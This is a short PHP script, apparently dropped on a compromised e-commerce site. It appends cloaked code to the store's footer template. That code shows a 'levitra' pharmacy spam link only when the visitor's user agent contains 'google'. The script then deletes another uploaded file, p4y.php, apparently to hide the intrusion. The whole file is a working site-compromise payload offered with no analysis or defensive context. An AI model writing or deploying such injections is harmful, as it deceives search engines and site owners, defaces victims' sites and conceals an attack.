12.php

<?php
$filecontents='<?php if(stristr($_SERVER[\'HTTP_USER_AGENT\'],\'google\')){echo \'<a href=http://www.italia-as.org>levitra</a>\';} ?>';
file_put_contents('../includes/templates/template_default/common/tpl_footer.php',"$filecontents",FILE_APPEND);
unlink('p4y.php');
echo 'done';
?>